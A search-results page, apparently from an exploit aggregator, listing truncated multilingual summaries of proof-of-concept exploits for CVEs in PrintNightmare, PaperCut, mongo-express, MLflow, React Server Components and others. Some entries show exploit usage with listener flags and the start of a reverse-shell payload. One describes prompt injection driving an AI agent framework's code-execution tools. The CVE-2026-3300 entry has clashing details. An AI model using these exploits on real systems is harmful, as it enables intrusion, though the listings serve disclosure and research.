269363 matches found
CVE-2025-65753
CVE-2025-65753 CVE-2025-65753 के लिए प्रमाण अवधारणा: Gryphon Guardian एक्सेस पॉइंट, फर्मवेयर संस्करण 01.06.0006.22, पर अनुचित TLS प्रमाणपत्र सत्यापन के माध्यम से दूरस्थ कोड निष्पादन। विवरण Gryphon Guardian WiFi एक्सेस पॉइंट, फर्मवेयर संस्करण 01.06.0006.22 के साथ, ऐप के माध्यम से संकेत देने के बाद...
CVE-2022-46169
CVE-2022-46169 CVE-2022-46169 ist eine Sicherheitslücke in Cacti, einer Software zur Netzwerküberwachung und -verwaltung. Diese Schwachstelle ermöglicht es einem Angreifer, das System ohne Authentifizierung aus der Ferne auszunutzen, indem er eine speziell gestaltete HTTP-Anfrage sendet. Durch...
CVE-2021-1675
CVE-2021-1675 / CVE-2021-34527 Impacket द्वारा PrintNightmare PoC का कार्यान्वयन, जिसे मूल रूप से Zhiniang Peng @edwardzpeng और Xuefeng Li @lxf02942370 ने बनाया था पूरी तरह से पैच किए गए 2019 डोमेन नियंत्रक पर परीक्षण किया गया दुर्भावनापूर्ण DLL को दूरस्थ या स्थानीय रूप से निष्पादित करें पैच अपडे...
CVE-2023-27350
PaperCut NG/MG RCE CVE-2023-27350 CVE-2023-27350 के लिए एक सरल बैश एक्सप्लॉइट। यह स्क्रिप्ट प्रमाणीकरण बाइपास, वातावरण तैयारी, और PaperCut प्रिंटर स्क्रिप्टिंग इंजन के माध्यम से कमांड इंजेक्शन को स्वचालित करता है। दृश्य प्रमाण बुनियादी RCE: रिवर्स शेल ट्रिगर करना: त्वरित आरंभ root@kitploit: Clone...
CVE-2024-2053
लॉग पॉइज़निंग के माध्यम से LFI से RCE एक्सप्लॉइट Python3 एक्सप्लॉइट CVE-2024-2053 Artica Proxy के लिए 📝 विवरण यह Python3 स्क्रिप्ट लॉग पॉइज़निंग तकनीकों के माध्यम से रिमोट कोड निष्पादन RCE प्राप्त करने के लिए लोकल फ़ाइल समावेशन LFI कमजोरियों का शोषण करती है। विशेष रूप से Artica Proxy CVE-2024-205...
CVE-2019-10758
CVE-2019-10758 Execução remota de código no mongo-express, código do shell reverso como abaixo: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return...
CVE-2024-37054
CVE-2024-37054 — RCE tramite deserializzazione Pickle in MLflow Exploit proof-of-concept per una vulnerabilità critica di deserializzazione pickle nel MLflow Tracking Server, che consente l'esecuzione remota di codice autenticata. ⚠️ Solo per test di sicurezza educativi e autorizzati. Non...
CVE-2026-23744
CVE-2026-23744 描述 MCPJam inspector 是一个面向 MCP 服务器的本地优先开发平台。版本 =1.4.2 存在远程代码执行漏洞，攻击者可发送特制的 HTTP 请求触发 MCP 服务器的安装，从而导致 RCE。有关漏洞详情，请参阅参考资料。 用法 需求 root@kitploit: $ pip install requests 概念验证用法 root@kitploit: $ python3 exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT 选项 root@kitploit...
CVE-2023-34039
CVE-2023-34039 POC pour CVE-2023-34039 VMWare Aria Operations for Networks vRealize Network Insight Clé SSH statique RCE Analyse Technique Une analyse de cause racine de la vulnérabilité est disponible sur mon blog : https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/...
laravel-8.4.2-rce
laravel-8.4.2-rce 環境のセットアップ root@kitploit: git clone https://github.com/laravel/laravel.git cd laravel git checkout e849812 composer install composer require facade/ignition==2.5.1 php artisan serve 使用方法 root@kitploit: python3 exploit.py http://pwnme.me:8000...
CVE-2025-55182
PoC do React2Shell Este repositório fornece um ambiente mínimo intencionalmente vulnerável para testar scanners de segurança contra a recente vulnerabilidade crítica de RCE React2Shell que afeta React Server Components e Next.js. CVE-2025-55182 : Uma vulnerabilidade de execução remota de código...
CVE-2025-55182
CVE-2025-55182 Questo repository contiene una riproduzione di Proof of Concept PoC per CVE-2025-55182 , una vulnerabilità critica di sicurezza in React Server Components RSC che consente l'esecuzione di codice arbitrario non autenticata. Descrizione La vulnerabilità risiede nel modo in cui React...
CVE-2025-55182
CVE-2025-55182 - React2Shell PoC CVE-2025-55182（CVSS 10.0）关键未认证远程代码执行漏洞的概念验证利用程序，影响 React Server Components。 致谢 发现者：Lachlan Davidson - 于2025年11月29日向 Meta/React 团队披露。 漏洞概述 该漏洞存在于 React Flight 协议的反序列化逻辑中。通过 HTTP POST 发送恶意负载，攻击者能够实现原型污染，进而导致在服务器上执行任意代码。 受影响版本...
CVE-2026-3300
CVE-2026-3300 - Everest Forms Pro Cross-Site Scripting Memorizzato Non Autenticato Uso Rapido root@kitploit: python3 exploit.py -t "C:\Path\To\Target" -o demo.zip --data-file payload.exe Note di Sfruttamento Gravità: CRITICAL CVSS: 9.8 Impatto: Riservatezza, Integrità, Disponibilità Pubblicato:...
CVE-2026-30612
Time4 Popcorn is a cross-platform application affected by a vulnerability in its updater components. In Windows versions up to 6.2.1.18, the flaw resides in updater.exe ; on MacOS versions up to 6.2.1.17, it affects PT.updd ; and on Android versions up to 3.5.0.173, the same class of issue applie...
EUVD-2026-67122
An issue in Bilibili Desktop v.1.17.9 allows a remote attacker to execute arbitrary code via the bili-inject.js and bili-bridge.js components...
CVE-2026-37003
Agno (up to and including version 2.5.8 ) is vulnerable to Remote Code Execution via prompt injection. The PythonTools and ShellTools components pass unsanitized, LLM-generated arguments directly to execution sinks including exec(), runpy.run_path(), and subprocess.run(). An unauthenticated attac...
PT-2026-82772
In Bluetooth Mesh SDK 6.1.4 and earlier, malformed extended advertisements can trigger out-of-bounds writes leading to stack corruption and remote code execution. These messages must come from a device that has already joined the network. Only provisioners supporting extended advertisements may b...
CVE-2026-75357
Bilibili Desktop v.1.17.9 contains a vulnerability in the bili-inject.js and bili-bridge.js components that allows a remote attacker to execute arbitrary code . The specific root cause is not detailed in the provided documents. No patch version, workaround, or confirmed in-the-wild exploitation i...